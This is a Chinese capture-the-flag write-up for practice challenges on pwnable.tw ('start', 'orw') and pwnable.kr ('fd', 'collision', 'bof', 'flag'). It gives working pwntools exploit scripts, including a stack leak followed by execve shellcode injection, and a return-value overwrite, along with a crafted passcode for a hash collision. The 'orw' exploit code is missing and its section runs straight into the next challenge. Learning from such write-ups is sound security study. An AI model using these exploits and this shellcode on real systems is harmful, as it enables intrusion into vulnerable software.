pwnable.tw
start
第一步检查保护,是久违的感觉😂
ida打开看看
不难发现其不是标准栈帧结构,🔒以ida反汇编不了(百度可以搜索解决办法),好在不长直接看汇编代码吧.
程序主体是两个系统调用read和write,其中read读取60个字节明显有溢出,但要怎么利用是关键
首选自然是ret2shellcode了,但ret2shellcode需要栈地址,可以看到程序起始有向栈中压入esp,我们可以选择借用write系统调用将其泄露,剩下的就是常规操作了
exp
1 2 3 4 5 6 7 8 9
| from pwn import* p=remote('chall.pwnable.tw',10000) p.recv() p.send(b'a'*0x14+p32(0x8048087)) stack=u32(p.recv(4))+0x14 p.recv() sh=b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80" p.send(b'a'*0x14+p32(stack)+sh) p.interactive()
|
orw
保护
1 2 3 4 5 6 7
| [*] '/home/aichch/pwn/orw' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
|
沙盒题,getshell是很难做到的
程序的内容十分简单,比上一题还简单
但是因为orw的缘故也不白给
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| ```
ssh连上之后,ls发现三个有效文件fd,fd.c,flag
![](https://cdn.jsdelivr.net/gh/ixout/picture@main/img/2023-03-20_220727.png)
flag没有任何权限向我们开放
再看fd.c
```c fd@pwnable:~$ cat fd.c
char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0;
}
|
代码问题不大,考验的就是对linux系统read函数最基本的了解了,0是标准输入,使fd为0即可,0x1234转换为十进制即是4660
- atoi():atoi()函数会扫描参数 str 字符串,跳过前面的空白字符(例如空格,tab 缩进等,可以通过 isspace() 函数来检测),直到遇上数字或正负符号才开始做转换,而再遇到非数字或字符串结束时(‘\0’)才结束转换,并将结果返回,返回转换后的整型数;如果 str 不能转换成 int 或者 str 为空字符串,那么将返回 0。
collision
连上后三个文件,文件样式和权限和上一题一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; }
int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; }
if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
|
c语言基础不牢,char* a[]知道是由字符指针组成的数组,但一时竟不知道每一个成员还可以代表指向一个字符串
输入要为20个字节(字符),以16进制存储,进入check函数,会被强制转为int*指针,即输入的20个字符被视为了5个int数
现在就是要想办法构造出hashcode了,这里构造四处查了一些资料,有两种办法
- 全部用可打印字符表示,好处是直观,但要计算有点麻烦
- 无论是否可见用十六进制ascii码表示,好处是基本没有计算量,但直接输入十六进制数据依然会被视作字符,所以需要用到python
我选择用第二种方法(因为第一种要控制可打印字符大麻烦了)
键入(别忘了小端序)
1
| ./col $(python -c 'print "\x01"*16+"\xe8\x05\xd9\x1d"')
|
前面的16字节我一开始还打算用\x00填充,还想怎么老是提示长度不够,结果忘了strlen()测量长度到\x00结束
bof
是熟悉的味道
检查保护
ida看一看
a1是这个函数的参数,也就是在返回地址上一个
使a1的值为-889275714,我还傻乎乎的打算去用补码换算成十六进制,结果发现汇编代码中就有直接的十六进制数据0CAFEBABEh
exp
1 2 3 4
| from pwn import* p=remote("pwnable.kr",9000) p.send(b'a'*52+b'\xbe\xba\xfe\xca') p.interactive()
|
flag
给了一个flag文件,ida打开提示upx加壳,脱壳后flag以明文形式存在